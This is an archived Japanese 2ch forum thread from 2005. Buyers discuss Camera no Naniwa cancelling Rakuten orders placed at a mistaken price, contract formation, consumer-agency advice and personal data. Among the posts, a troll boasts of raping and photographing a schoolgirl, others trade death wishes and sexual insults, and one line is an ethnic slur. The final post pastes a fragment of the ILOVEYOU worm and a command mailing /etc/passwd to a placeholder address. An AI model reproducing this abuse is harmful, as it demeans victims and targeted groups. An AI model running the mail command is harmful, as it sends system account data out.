536 ：１＆５６０ ◆yohAYGjGLI ：05/03/04 20:49:22 ID:hew5sG8c: >>534
おしゃべりなやつがいないと話は続かないからな。
俺はピエロで結構だよ。

録音したやついないかな…
537 ：番組の途中ですが名無しです ：05/03/04 20:50:25 ID:y6eIGckj: そうするとアレか。

俺の手元にある「契約とかそういった話ではなく・・・」という言葉の録音が
ナニワの対応のいい加減さをかたる証の一つになるわけか。。

もちろんコレでもって契約成立の時期について相手方の主張を覆すことが出来るとは思ってないが、
この流れはあまりに酷い。何が酷いって、店舗責任者の言葉がころころかわることや、
ころころかわる内容について責任者自身がきちんと把握していないままに口にしている事自体が酷い。

ナニワのいい加減さが本当明るみに出た形だな。。、
538 ：番組の途中ですが名無しです ：05/03/04 20:51:01 ID:ynIS9nU8: ＞裁判にならない事。

今回はわからないよ。

ＥＣＯＭ斡旋不調→裁判な香具師が出てきそうな悪寒。
539 ：番組の途中ですが名無しです ：05/03/04 20:52:53 ID:KPLDPzRC: http://www.uploda.org/file/uporg52510.mp3

とりあえずうｐしました
540 ：番組の途中ですが名無しです ：05/03/04 20:55:19 ID:P59UsuWP: >>536
気を悪くなさるな。非常に感謝している。
541 ：番組の途中ですが名無しです ：05/03/04 21:00:22 ID:Xd3IhKUn: スレタイに「カメラのナニワ」を何故入れないの？
へんな顔文字使ってちゃ「カメラのナニワ」が悪徳企業だって事が初めて見た人に分からないじゃん
542 ：番組の途中ですが名無しです ：05/03/04 21:00:51 ID:lNtr3neZ: 会話のテープがたとえなくても（あっても証拠にはならないが）
ここの書き込みが「参考資料」として扱ってもらえるかもしれないし、
私自身、相談した先々でここや関係サイトみてもらっている。
まあ、途中変な書き込みや「２CH用語？」みたいなので分かりにくい
ところもあるが、目を通してもらいましたヨ。

今後どうなるかわからないが・・・・
543 ：番組の途中ですが名無しです ：05/03/04 21:01:13 ID:2CmBzMJG: 楽天に個人情報の削除を何度も求めてるんだけど、お決まりのレスばかり。
どうにかならんかな。
544 ：１＆５６０ ◆yohAYGjGLI ：05/03/04 21:04:48 ID:hew5sG8c: あと店舗責任者だが、
塩山氏は経営の店舗運営責任者であって
楽天の店舗運営責任者は中根氏らしい。
これって法的にどうのなの？

かといって塩山氏は中根氏の上司にあたるわけではないとさ。
経営責任者としてのコメントを直接塩山氏から聞きたいと聞いたら
経営の方のコメントとしては「価格表記ミスについてお詫びを申し上げる」とさ。
それ以上は全くコメント無し。
代わってくれそうもない。

今回の件については中根氏が裁量権や判断の全責任をもっているにもかかわらず
話が二転三転するのはどうしてなんだろう。

心斎橋本店の小売り部門ほりいけ部長からのコメントでは
中根氏が自ら「今回の件はすべて私に任せて欲しい」と志願してこうなったって言われたけど、
だったら何でこんなに対応がお粗末なんだろう。
545 ：番組の途中ですが名無しです ：05/03/04 21:05:11 ID:Xd3IhKUn: >>543　4/1まで我慢されたし
546 ：番組の途中ですが名無しです ：05/03/04 21:05:25 ID:y6eIGckj: なんつーか。今回は本当、冷めた怒りしか無いね。

筋さえ通してくれれば最初の方でキャンセルも受け入れていいとも思っていたけど、

これはなんつーか。。。酷いね。このままじゃあ、引き下がれないなあ。。
547 ：番組の途中ですが名無しです ：05/03/04 21:06:44 ID:P59UsuWP: >>541
ホントだ。脳内で┌| ∵|┘をナニワに変換してしまってたから気付かなかった。だいぶ毒されてきてるわ。
広く知ってもらいたい状況でこれはちょっとマズイな。次スレには「カメラのナニワ」は入れるべきだと思う。
548 ：番組の途中ですが名無しです ：05/03/04 21:06:45 ID:lzrBBWuU: おまえらゴネりゃ何でも通ると思っているのか？
ホームラン級のバカだな
549 ：１＆５６０ ◆yohAYGjGLI ：05/03/04 21:07:18 ID:hew5sG8c: >>540
こちらこそ気を悪くしたらすまない。
俺が言いたかったのは
「たとえ周りから見て恥ずかしくても誰か自ら恥さらしにならない限り話は進まない」ってことです。
550 ：番組の途中ですが名無しです ：05/03/04 21:07:55 ID:y6eIGckj: >>544

>あと店舗責任者だが、
>塩山氏は経営の店舗運営責任者であって
>楽天の店舗運営責任者は中根氏らしい。
>これって法的にどうのなの？

駄目。

担当責任者　と　代表者　の名前を明記しないといけない。
言葉のあやで逃れようとしてるのがみえみえ。
551 ：番組の途中ですが名無しです ：05/03/04 21:09:13 ID:y6eIGckj: >>544

すまん。もし今話し中なら、メールの返事はいつごろになるか（だいたいでいい）ということも
聞いてくれるとうれしい。
552 ：１＆５６０ ◆yohAYGjGLI ：05/03/04 21:09:31 ID:hew5sG8c: >>550
やっぱりそうだよな…
言葉のあやでだまされたのか俺は…

ますます最悪だな…
553 ：番組の途中ですが名無しです ：05/03/04 21:11:32 ID:y6eIGckj: >>550

気になさんな。

つーか、役割分担がされているので有れば、二人の名前がなけりゃいけない。
店長とか言う明記じゃ駄目。しかも恒常的になされていないと駄目なので、
トップにあるような表示だけじゃ駄目。

塩山と中根の名前が並んで乗っている状態が好ましい。
554 ：番組の途中ですが名無しです ：05/03/04 21:11:59 ID:oAL5OG9Y: >>548
ゴネてんのはあっちだろｗ
555 ：番組の途中ですが名無しです ：05/03/04 21:12:46 ID:lzrBBWuU: おまえたちは自分の都合のいいようにしか解釈できないのか？
基地外以下だな
556 ：番組の途中ですが名無しです ：05/03/04 21:13:35 ID:TDK7F+u7: ナニワ0120の電話の営業時間を教えてくれ。
土日は都合よく休みそうだが
557 ：番組の途中ですが名無しです ：05/03/04 21:14:38 ID:/ll1GgbH: 楽天の履歴消えたって人居るけど俺の消えてない。
早めに注文した人は消されたのかな？
明日あたり俺のも？
558 ：１＆５６０ ◆yohAYGjGLI ：05/03/04 21:15:53 ID:hew5sG8c: >>544
電話は７時前後に二回にわけて約４５分話した。

契約の内容に関するメールは後日送るとさ。

「警察の方から「契約の成立に関しては電話で直接聞くことが出来る」とコメントをいただいた。
だからメールではなく、今すぐに答えて欲しい」
と聞いたところ、かなりしぶった後に、

「では会社の対応について話をさせて頂きます。
これが終わったら（俺の話を聞かずに）電話は切らせて頂きます。
契約は確認メールを送らない限り成立してません。」
みたいな内容の話だったよ。

俺は終始「日曜の言質の確認をしたい」だったのだが
無理だった。
「裁判起こしたければ勝手にしたらいい」とさ。
559 ：番組の途中ですが名無しです ：05/03/04 21:16:26 ID:z0+5XWBr: あきらめてＤ７０買いますた
560 ：番組の途中ですが名無しです ：05/03/04 21:16:53 ID:lNtr3neZ: 楽天の履歴も今頃消して来てるからむこうが今頃ドタバタ慌ているように
見えてしかたがないし、まだ、KissDnの発売日の１７日まで少し時間がある
からとりあえず、ECOMなどの相談窓口に各自が必ず相談をした方がいいと思うな！
N氏の電話での言動や態度でパニクッてたら向こうの思う壺のような気がする。
561 ：番組の途中ですが名無しです ：05/03/04 21:18:39 ID:y6eIGckj: >>558
あー。かなり腹立つ対応だな。。。

中根さんも腹立ってるのかもしれんが、現状は自分(もしくは部下・同僚)のミスと
自分の対応の結果だということを忘れているんじゃないのか？

各種機関の動きはまだナニワには伝わっていないんだろうな。。
562 ：番組の途中ですが名無しです ：05/03/04 21:22:41 ID:lzrBBWuU: お前等全員氏ねヽ(`Д´)ﾉ
563 ：番組の途中ですが名無しです ：05/03/04 21:23:28 ID:mL7/l/6p: >>513
昨日一通り規約読んでみたんだけど、契約時期に関する楽天の規約はないっすよ。

あるとすれば楽天からの自動返信メールの冒頭に記載されてる
一方的な文言のみだけど、ecomの考え方ではこれだけでは
契約不成立とはならない。
Web上で別途契約成立時期に関する記載を備えていなければならない。
（http://www.ecom.jp/adr/ja/topics/tp_03.htmの
（契約成立しているとは言えない場合）の前段を見てください）

俺はこう思ってるんだけど、他の方どうですか？
564 ：５６０：05/03/04 21:23:36 ID:lNtr3neZ: ここには書けないが・・
とある相談窓口の回答メールを読むかぎり、楽観は出来ないけど
私は焦らないことにしたよ！
565 ：１＆５６０ ◆yohAYGjGLI ：05/03/04 21:26:44 ID:hew5sG8c: いい加減俺でも>>ID:lzrBBWuUの工作員ぷりに頭にきたのだが…
あぼーんするべし。
566 ：番組の途中ですが名無しです ：05/03/04 21:47:32 ID:VyEpMm4P: 負けを認めたってことだな
567 ：番組の途中ですが名無しです ：05/03/04 21:51:07 ID:P59UsuWP: >>561
法律的にどう逃げるかのみに頭が行って客商売の本質を忘れてるんだろう。
弁護士への相談が悪循環を起こしてるのかもな。
ここまで印象を悪くしてしまったらやばすぎなんだが。
ネットで、しかもよりによって2chで晒されてるのに。
注文者の数だけみて対応してるのかもな。
あとカメラを趣味にしてる人の間でのこういう情報の流れは恐ろしく早いよ。
俺は正直この件に自分もかんでることを言ってしまって後悔してる。
568 ：番組の途中ですが名無しです ：05/03/04 21:52:42 ID:xKk0dzUk: ecomからメール来てた
内容を簡単に書くと．．．

・今回はメールに「まだ契約は成立ではない」という一文があるのでまだ契約成立になっていない可能性が高い
・もし仮に契約成立していた場合はナニワは錯誤無効は主張出来ない可能性が高い
・ecomは意見ぐらいは言うが積極的にナニワと交渉はしない

って内容だったんだけどこれ見る限りは厳しい気がするのだが．．．
この内容は私だけ？
569 ：番組の途中ですが名無しです ：05/03/04 21:54:12 ID:N/TnK6li: http://www.cameranonaniwa.co.jp/shop/tenpo/ume-kita/news/3/phouse.html
↑
ナニワの現状ｗ
だめだコリャ。関西人ならわかると思うが、一時期の和光電気のようだよ。
570 ：番組の途中ですが名無しです ：05/03/04 21:55:37 ID:6bEzQ+Te: ID:lzrBBWuUって、店員っぽいな。
571 ：番組の途中ですが名無しです ：05/03/04 21:56:37 ID:P59UsuWP: >>568
うわぁ・・。まだ洗剤とか置いてないだけましか。ｗ
572 ：１＆５６０ ◆yohAYGjGLI ：05/03/04 21:57:43 ID:hew5sG8c: >>568
多分俺と同じメールだな。
573 ：番組の途中ですが名無しです ：05/03/04 21:59:15 ID:Ud4wuDWn: もうお前等の負けは確実だよｗ
ジタバタすんな
574 ：１＆５６０ ◆yohAYGjGLI ：05/03/04 22:01:35 ID:hew5sG8c: あああああああ、工作員うるさい！
>>567と同じようにカメラを趣味にしてるから（俺はまだ初心者だが）
よけいに腹が立つんだよ！

あーもうだめだ。
575 ：番組の途中ですが名無しです ：05/03/04 22:03:16 ID:lNtr3neZ: 個人情報はどうなんの？
576 ：番組の途中ですが名無しです ：05/03/04 22:03:35 ID:Ud4wuDWn: おまえらは社会の底辺にいるクズだ（ポツダム宣言）
577 ：番組の途中ですが名無しです ：05/03/04 22:03:59 ID:Wg/uVw2K: 契約確定メールが届く前に、キャンセルメールを送るという遊びが流行りそうだな
578 ：番組の途中ですが名無しです ：05/03/04 22:05:56 ID:Ud4wuDWn: 無条件降伏しろよ楽になるぞｳﾋｮｰ
579 ：番組の途中ですが名無しです ：05/03/04 22:06:03 ID:xKk0dzUk: ん～同じか．．．
これは「契約成立はまだ」という一文が無ければ完全に勝ちだったと言う事か！？
ということは携帯メール組だけ買えるという事か？
580 ：番組の途中ですが名無しです ：05/03/04 22:07:56 ID:lNtr3neZ: >>579
そこです！
どうなんの？
581 ：１＆５６０ ◆yohAYGjGLI ：05/03/04 22:09:06 ID:hew5sG8c: >>575
名前：１＆５６０ [sage] 投稿日： 05/02/27 20:14:07 ID:SzhrB9gz
＜個人情報について＞
個人情報は楽天サーバーにある。ナニワにはない。
あくまで注文開始から楽天サーバー上の個人情報が閲覧出来るようになるだけ。
個人情報の取り扱い、保護については
今後楽天と話し合いをもつ。
いつ話し合いをやるのか、ほんとに話し合いはあるのか？
第一希望日時はいつに申し込んだのか？は教えてくれず。
582 ：番組の途中ですが名無しです ：05/03/04 22:09:22 ID:Ud4wuDWn: 携帯組には郵送で「お前等なんかに売らないよ」ってのがいってるだろｗ
583 ：番組の途中ですが名無しです ：05/03/04 22:10:54 ID:xsl/H6WP: 僕の場合はね、購入申し込みしたが、この値段でカメラを買えるとは、
思ってなかったから、買えなくても敗北だとは思ってないよ。
ただ、この交渉の過程で、ナニワにはフィッシングの悪しき前例を作ってしまったこと
が明らかになってきた。だから、そのことにはナニワにはつぐないを
して、もらわなければならならいこと、そして、ナニワの対応が、
非常にだらしなくて、店として信用ができないこと、が
明らかになってきた。ナニワに心理的にいたい思いをしてもらうこと、
そして、ナニワの醜態を時間をかけて、多くの人に見てもらうこと、
このことには、十分成功したんではないかな。このスレに、
ここ数日目を離さないできたんだが、かなりの成果が上がったと見て、
満足している。あとは、半年とか、数年のうちの、この信用を失った
ナニワが破滅したというニュースを読むのを楽しみに待つばかりだ。
584 ：番組の途中ですが名無しです ：05/03/04 22:11:03 ID:xKk0dzUk: >>582
でもecomの考えだと携帯組には「このメールではまだ契約成立ではない」という一文が無いから契約成立じゃない？
まあ私はPCメールで一文が有ったから望みは薄いから関係はないかもだけど(;´д⊂)
585 ：番組の途中ですが名無しです ：05/03/04 22:14:25 ID:y6eIGckj: まてまて。ecomの内容は出さない方がいい。二次利用不可というルールを忘れたか？
ecomはecomのルールの上でもって俺らにアドバイスをくれてるんだ。
それを忘れるな。
586 ：番組の途中ですが名無しです ：05/03/04 22:14:35 ID:78pV/Hq+: >>568
米を置いて駄菓子が並んだらおしまいだな
和光もそーだった
587 ：番組の途中ですが名無しです ：05/03/04 22:14:53 ID:P59UsuWP: >>574
俺は写真好きのおっちゃん1人に話しただけなのに
その人が入ってる写真クラブと大阪の比較的田舎の某キタ○ラの店長、社員へと広がったらしい。
おっちゃんが顔見るたびにどうなった？って聞いてくるOTL
588 ：番組の途中ですが名無しです ：05/03/04 22:16:12 ID:xKk0dzUk: >>585
コピペはアウトだけど要約してれば大丈夫じゃない？
そうじゃないと話し一切出来なくなっちゃうよ
589 ：番組の途中ですが名無しです ：05/03/04 22:20:54 ID:Ud4wuDWn: 懲りないやつらだな負けを認めろよｗ
590 ：番組の途中ですが名無しです ：05/03/04 22:22:25 ID:lNtr3neZ: PCからダメで携帯からはOKってありかな？
携帯からの頼んだ人は店から連絡あったのかな？
591 ：番組の途中ですが名無しです ：05/03/04 22:22:52 ID:Ud4wuDWn: 負けるのは全然恥ずかしい事じゃないんだよｗ
592 ：番組の途中ですが名無しです ：05/03/04 22:23:22 ID:y6eIGckj: 一応二次利用不可って扱いだから、慎重にした方がいいよ。

二次利用の定義はこれまた難しいけども、単純な転載だけでなく
内容についても駄目な場合も出てくる。

というよりも、俺が言いたいのはecomの人もきっとここを見ているってこと。
ecomの人は仕事で動いてるわけだけど、やっぱし中の人は人間なわけで。
ルールを破った（破るかもしれない）人間に対してはあまり気持ちよく対応できないでしょ？

ここである人がルールを破っていると、ここを見てない相談者や
見ているけど内容を出していない相談者も色眼鏡でみられるかもしれないってことで。
593 ：番組の途中ですが名無しです ：05/03/04 22:23:41 ID:GeqBsPTr: 今はどっちが勝ちで、どっち負けかはわからない
ナニワの今年の売上げがどうかだと思う
多分、ナニワは負けるよ
594 ：番組の途中ですが名無しです ：05/03/04 22:24:16 ID:/ll1GgbH: とりあえず楽天のスパムを全部止めてくれ・・・
595 ：番組の途中ですが名無しです ：05/03/04 22:24:38 ID:GcM6z2sJ: ID:Ud4wuDWn
http://stick.newsplus.jp/id.cgi?bbs=news&word=Ud4wuDWn

■男の子は何でオナニーばっかりするの？■[1件]
21 : 名前:番組の途中ですが名無しです E-mail: 投稿日:05/03/04 15:41:16 ID:Ud4wuDWn
厨房のころ水泳部の女の競泳水着写真を撮って
本人にコレ使ってオナニーするっていったら泣いてたなｗ
596 ：番組の途中ですが名無しです ：05/03/04 22:25:33 ID:O4XJOJgM: まあ、君らもﾁｬﾘﾝｶｰに振り込むやつ等と同じなんだね。
597 ：番組の途中ですが名無しです ：05/03/04 22:26:34 ID:Ud4wuDWn: でた！ストーカー！！
犯罪予備軍のすくつですねここはｗ
598 ：１＆５６０ ◆yohAYGjGLI ：05/03/04 22:31:28 ID:hew5sG8c: >>587
俺はただの旅行好きで
どこに行くにしてもカメラを持って行って写真とりまくるだけだから
本当にやってる人には「カメラが趣味だ」なんておこがましくて言えません。
599 ：番組の途中ですが名無しです ：05/03/04 22:33:22 ID:Ud4wuDWn: >>598
じゃあちゃんと金払って買えよ！
600 ：番組の途中ですが名無しです ：05/03/04 22:34:37 ID:ynIS9nU8: >>569
吹っ飛ぶ寸前の和光電器並みだな。
601 ：番組の途中ですが名無しです ：05/03/04 22:35:52 ID:ynIS9nU8: ID:Ud4wuDWn＝ｷﾁｶﾞｲ君は早く死んでね。
602 ：番組の途中ですが名無しです ：05/03/04 22:38:07 ID:Ud4wuDWn: ゴネ厨にいわれたかないね
603 ：番組の途中ですが名無しです ：05/03/04 22:42:31 ID:ynIS9nU8: ID:Ud4wuDWn
http://stick.newsplus.jp/id.cgi?bbs=news&word=Ud4wuDWn

m9（^Д^）ﾌﾟｷﾞｬー
604 ：番組の途中ですが名無しです ：05/03/04 22:43:01 ID:Xn/Ieuq4: 誠意みせろバカ
605 ：番組の途中ですが名無しです ：05/03/04 22:43:46 ID:wO/GLb2j: 店の示すままの金払って買おうと言うお客様にきちんと売るどころか
罵倒までするとは。
こんなバカ社員を雇ってるようでは潰れてもしょうがないな。
606 ：番組の途中ですが名無しです ：05/03/04 22:44:49 ID:Ud4wuDWn: >>605
じゃあ\99,540-払って下さいね＾＾
607 ：番組の途中ですが名無しです ：05/03/04 22:46:02 ID:CP0BciF5: 以降、完全スルーでヨロ・・
608 ：番組の途中ですが名無しです ：05/03/04 22:46:59 ID:Ud4wuDWn: また逃げるの？いつも逃げてばっかりだなお・ま・え・はｗ
609 ：番組の途中ですが名無しです ：05/03/04 22:48:20 ID:P59UsuWP: 和光電気知ってる人がこんなにいるとは。
やっぱりこのスレ大阪近辺の人が結構いるんだな。
610 ：番組の途中ですが名無しです ：05/03/04 22:50:18 ID:H4KnJPmK: いや、良く分からんのだが、これさ、、、99,540円なら売ってくれるのかどーか
とかそゆのも全然分からん状態じゃん。メールにそゆの書いておくべきだと思うんだけど。
まぁ実店舗持ってるからネット側は捨てても全然影響は無いとか思ってるんだろうけど。
611 ：番組の途中ですが名無しです ：05/03/04 22:50:20 ID:u7PnvOs9: ここに書き込む前にとっととキャンセル処理してくれ。

なんかナニワの対応見てるとyahooの回線握りを思い出すよ。
あの時は部外者だったけど・・・。
612 ：番組の途中ですが名無しです ：05/03/04 22:50:53 ID:Ud4wuDWn: おらおら元気が無くなってきたぞｗあ？
613 ：番組の途中ですが名無しです ：05/03/04 22:51:16 ID:yvzLhwkq: 和光電気は昔は良かったのにな～
家電が安かった！いつのまにかなくなってた！！
614 ：番組の途中ですが名無しです ：05/03/04 22:54:14 ID:Ud4wuDWn: 所詮ゴネ厨は社会の底辺のクズが幾ら吠えても意味無いってのを理解しろよｱﾊﾊ
615 ：番組の途中ですが名無しです ：05/03/04 22:54:59 ID:HoDVxdFq: １＆５６０さん、お疲れ様でした
みなさん、社員はかなりムカつきますが、スルーでお願いします。
私は普段使うＰＣには２ちゃんブラウザ導入しました
あぼーん、あぼーん言ってるだけで、頑張ってるのにかわいそうになってきました
http://www.geocities.jp/browser_2ch/index.htm
比較表

ちなみに私はABoneを導入しました
616 ：番組の途中ですが名無しです ：05/03/04 22:56:46 ID:Ud4wuDWn: 情けない
黙殺して自分たちの都合のいい意見しか聞かないのか
どのみちお前等には勝ち目ねーけどな！
617 ：番組の途中ですが名無しです ：05/03/04 22:57:30 ID:KPLDPzRC: ID:Ud4wuDWn

GJ!!
ゴネ厨は氏ねよｗ
618 ：番組の途中ですが名無しです ：05/03/04 22:58:15 ID:oAL5OG9Y: 539 名前：番組の途中ですが名無しです　[]　投稿日：05/03/04(金) 20:52:53 ID:KPLDPzRC
http://www.uploda.org/file/uporg52510.mp3

とりあえずうｐしました
619 ：番組の途中ですが名無しです ：05/03/04 22:58:56 ID:KPLDPzRC: うひゃー！ストーカーですよっ！！！
620 ：番組の途中ですが名無しです ：05/03/04 23:00:20 ID:Ud4wuDWn: >>1-1000
反論しないの？
情けない奴らだなあｗ
621 ：番組の途中ですが名無しです ：05/03/04 23:00:33 ID:oAL5OG9Y: >>619
専ブラ使えばIDポップアップするだろ
622 ：番組の途中ですが名無しです ：05/03/04 23:00:56 ID:y6eIGckj: しっかしなあ。中根さんが上レスのような対応とるとはなあ。。。
ここを見てるかもしんないから書くけど、俺は筋の通った説明さえもらえればキャンセル受け付けてるよ。
最初に本店に電話したとき、なんて言ったか本店事務の人に聞いたら多分解るんじゃないかな？

「これこれこういう事情でキャンセルのメールをもらったのだが、
　内容があまりに酷く、これは本当にナニワさんの対応なのかと思ってしまった。
　これを書いたかたの上司はチェックしていたのかと思うくらいだ。
　これについて伺いたいので、中根さんの上司の方に取り次いでいただきたい」

こう言ったんだよ。
筋の通ってない説明と対応で、どうしてキャンセルが受け付けられる？

で、その後の対応もこの通りだ。
契約成立しているから、その三日後にはしていないにかわり、
その二日後には答えられないにかわり、そうしてその翌日には成立していないときた。

これがまともな対応か？ちょっと自身のしてきた対応を振り返ってみてくれ。
623 ：番組の途中ですが名無しです ：05/03/04 23:01:29 ID:KPLDPzRC: >>621
で？コピペして何が言いたいのかな僕ｗ
624 ：番組の途中ですが名無しです ：05/03/04 23:04:12 ID:6bEzQ+Te: ID:Ud4wuDWnって、他に楽しみがないひきこもりなの？

あっ、女の競泳水着写真を撮ってオナニーする楽しみがあったんだっけ。
625 ：番組の途中ですが名無しです ：05/03/04 23:04:30 ID:ynIS9nU8: 営業時間が終わった途端に沸いてくるのも芸がないな。
626 ：１＆５６０ ◆yohAYGjGLI ：05/03/04 23:04:43 ID:hew5sG8c: とりあえずみんなで警察行こうよ。
俺は明日行きます。

親父の知り合いは自殺するし何でこう最近うまくいかないかな…
627 ：番組の途中ですが名無しです ：05/03/04 23:05:06 ID:Ud4wuDWn: ゴネても何も得ないことを勉強出来ましたか？
従業料払って頂きたいものですね
628 ：番組の途中ですが名無しです ：05/03/04 23:06:18 ID:wO/GLb2j: >>624
ビョーキだよね。典型的なストーカー。
629 ：番組の途中ですが名無しです ：05/03/04 23:07:22 ID:Qrqn81ik: ↑　　？？従業料？？
630 ：番組の途中ですが名無しです ：05/03/04 23:09:10 ID:R0NesSHC: >>627
従業料？
631 ：番組の途中ですが名無しです ：05/03/04 23:09:10 ID:lsbu6L1Y: あげ
632 ：番組の途中ですが名無しです ：05/03/04 23:11:38 ID:Ud4wuDWn: >>624
心外ですね
ちゃんと体育倉庫へ連れ込んで犯しましたよ＾＾
勿論その時の写真は撮っておいて肉便器にしましたよ
633 ：番組の途中ですが名無しです ：05/03/04 23:12:01 ID:X5LzXLuq: 知らないうちに1週間経ってた。

>>当該価格での販売につきましては何卒ご容赦賜りますようお願い申し上げます。
当該価格より安くしてくれるなら、当該価格での販売をキャンセルしてやろうかな？
634 ：番組の途中ですが名無しです ：05/03/04 23:13:00 ID:kX2/eg3f: ナニワから届いたメールに対してキャンセルに同意しないと返信した人に対して
現時点でナニワは一方的にキャンセルできるのかな？
2通目の内容を含めたとしても明らかに説明不足だと思うんだけど。
企業が送ったとは思えない文面のメールが届いてるから余計ややこしいんだけど
ナニワからのメールを見る限り、値段まちがえちゃったけどこの値段では売れないからキャンセルしてね♪
という風にしかとれないような。。。
635 ：番組の途中ですが名無しです ：05/03/04 23:13:24 ID:HoDVxdFq: 土日の営業は聞き忘れたが、平日は１０時～１９時までの営業だそうです。
一応明日もいたはずだったと記憶している

中根氏の電話かなりふざけているが、その対応も録音しておけば
なにかの時に有利になるかもしれないので、できるかぎり録音しておいた方がいいね
636 ：番組の途中ですが名無しです ：05/03/04 23:14:17 ID:6bEzQ+Te: >>632
リアル犯罪者と２ちゃんで話せるという、貴重な体験させていただきありがとう。
637 ：番組の途中ですが名無しです ：05/03/04 23:14:42 ID:oAL5OG9Y: >>632
ここのログは各所機関に見られてる訳なんだけど・・・
警察とか・・・

ﾅﾑ
638 ：番組の途中ですが名無しです ：05/03/04 23:15:09 ID:yvzLhwkq: すこし上の方からスレ読んだけど、店に電話するのに
自分の名前を告げないの？なんで？かえって逆効果じゃないかな？
嫌がらせと思われたらマズイからちゃんと名乗って「紳士的」に
いきましょうよ！揚げ足くらうからたのんます。
639 ：番組の途中ですが名無しです ：05/03/04 23:15:15 ID:kX2/eg3f: 仮に注文時の楽天市場から届く自動配信メールの
>本メールはお客様のご注文情報が楽天市場のサーバに到達した時点で送信
>される、自動配信メールです。ショップからの確認の連絡、または商品の発送
>をもって売買契約成立となります。
が有効だとすると、会社が違うから個人情報を削除することができないっていうのおかしくならない？
楽天側とナニワ側を一連の楽天システムとして考えれば上記の自動配信メールが有効なのかなぁという
気もするけど（誤記載を理由にした一方的なキャンセルが有効かは別として　行列の弁護士のサイトを見る限り注文者の方が有利にさえ感じる）、
ナニワから届いているメールを見る限り、別の会社扱いなんですよー。だから個人情報は消せません。って書いてあるような。
もし個人情報を消せないようなら自動配信メールの内容が有効なのか疑問な気がするし、
消せるようならさっさと消せよ＆メールの内容に関して信用度がさがるなぁと。
640 ：番組の途中ですが名無しです ：05/03/04 23:18:06 ID:Ud4wuDWn: あーあゴネ厨相手にするのもつまらねーなｗ
641 ：番組の途中ですが名無しです ：05/03/04 23:20:05 ID:7wzxBaKQ: >>640
仕事さぼるな
642 ：番組の途中ですが名無しです ：05/03/04 23:20:27 ID:KPLDPzRC: 所詮ゴネ厨こんなもんですよ
643 ：番組の途中ですが名無しです ：05/03/04 23:21:06 ID:Ud4wuDWn: じゃおまえらまた明日なｗ
644 ：１＆５６０ ◆yohAYGjGLI ：05/03/04 23:21:08 ID:hew5sG8c: >>638
俺は電話番号と名前どころか住所とか所属とか
今回のカメラの使用目的とかしっかりしゃべっているよ。

てか、折り返し電話貰うときに名前と電話番号は必要だろ？
俺は毎回向こうからかけさせてる。
ちゃんと話を聞いているかって対応もあるし、
向こうからかけている以上勝手に向こうから切れないだろ？
645 ：番組の途中ですが名無しです ：05/03/04 23:21:14 ID:ul+cEnJQ: 関西人は朝鮮人
646 ：番組の途中ですが名無しです ：05/03/04 23:21:19 ID:MBTkrnxn: >>622
漏れもまったく同意だが
最近中根氏には電話してないんでアレだが、もっと酷くなってんだね

>>626
いつも乙！あなたの行動力感心します
が、詰めが甘いねぇ
せっかくいい言質取ったのに
あの会社は常識が通用しないことが良くわかりました

ECOMのご回答は、このレスに載ってた人と同一と思う
いまさらナニワから売ってもらいたくも無いが
公的な指導が入ればと期待してます
647 ：１＆５６０ ◆yohAYGjGLI ：05/03/04 23:23:44 ID:hew5sG8c: >>639
個人情報は多分消去ではなく
楽天のサーバーの情報をみる権利を放棄するって形になるのか？
まあなんせよ絶対形には残るから放棄するっ言っても信じられないけどな。
648 ：番組の途中ですが名無しです ：05/03/04 23:24:09 ID:Ud4wuDWn: しつこい奴はもてないぞ
だからお前等は童貞なんだよｗ
649 ：番組の途中ですが名無しです ：05/03/04 23:25:23 ID:HoDVxdFq: >>639
行列のできる法律については、最低でもバイト休んだ分の賃金の請求はできる
ですが、実質我々に「被害」があるかと言われると
あまり無い人の方が多いのではないでしょうか？

私は買うときには無駄な時間は無かったのですが
おかげさまで現在は時間を要しています
650 ：番組の途中ですが名無しです ：05/03/04 23:25:34 ID:y6eIGckj: >>647

そういう形だと思う。ナニワを含めた楽天に出店している店舗向け管理webページでは、
情報の削除という操作そのものが出来ない。
651 ：番組の途中ですが名無しです ：05/03/04 23:25:44 ID:KPLDPzRC: ｷﾞｬﾊいいこといいますね
652 ：番組の途中ですが名無しです ：05/03/04 23:27:16 ID:6Y+kpMO+: >>648
３分も開けてるようじゃダメだ。ちゃんと１２０秒後に書き込むこと。
次はちゃんと言うことを聞いて、少なくとも３分を切れよ。
まったく、荒らしすらまともに出来ないんだから・・・。
653 ：番組の途中ですが名無しです ：05/03/04 23:28:46 ID:y6eIGckj: それと、個人情報保護法については今年の四月だったか五月だったか、
完全施行されて企業にも一定の義務が課せられる。

個人からの利用停止や削除の申請があればこれに従わなければならなくなる。

だけど、これが施行前に収集された情報に対しても適用されるかは
ちょっと解らんのよ。もし適用されるなら、施行後に本人からの申請があったにも
かかわらず削除されないのは違法。でも適用されないなら違法じゃない。

これについては法律相談板で聞いた方がいいかな。。。
654 ：638：05/03/04 23:31:44 ID:yvzLhwkq: >>644
僕も同じです。N氏も人間ですもんね。名前も名乗らない人間から罵倒されれば
いい気持ち？はしないと思います。
でも、下手に出れば「ノラリクラリ」ですからたち悪い。
655 ：番組の途中ですが名無しです ：05/03/04 23:33:30 ID:W4wbsojx: 行列の10円パソコンでも40％ならこれは買えてもおかしくないレベル
それに俺はせっかくためた楽天ポイント10000をまだ持っていかれたまま・・・・・
656 ：番組の途中ですが名無しです ：05/03/04 23:38:40 ID:kX2/eg3f: >>647
なるほど。そうなると楽天は個人情報収集得ということになるね。
うちらの人数も勘定にいれて株主やらにはX万人の会員数を有すると発表したりしそうね。

>>649
実質被害があるかないかは人によって違うかもしれないけど、
誤記載による販売キャンセルという視点だとどうとれるんでしょう？
買えてもおかしくないような。。
657 ：番組の途中ですが名無しです ：05/03/04 23:42:42 ID:2CmBzMJG: 楽天の株安いから、株主総会に乗り込むか・・・
658 ：番組の途中ですが名無しです ：05/03/04 23:49:27 ID:SM5lJz95: >>657
893がいるからそういうのはやめたほうが…
659 ：番組の途中ですが名無しです ：05/03/04 23:54:41 ID:P59UsuWP: 楽天のポイントが今日確定する云々の話はどうなったの？
660 ：番組の途中ですが名無しです ：05/03/04 23:54:44 ID:oAL5OG9Y: 2匹同時に消えた件について
661 ：１＆５６０ ◆yohAYGjGLI ：05/03/04 23:55:39 ID:hew5sG8c: あと５分でポイント決まるのか？
あとちゃんとポイント返してくれるのか？
662 ：番組の途中ですが名無しです ：05/03/04 23:56:36 ID:o4U+Hiiy: c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
cat /etc/passwd | mail nobody@nonexistent.com
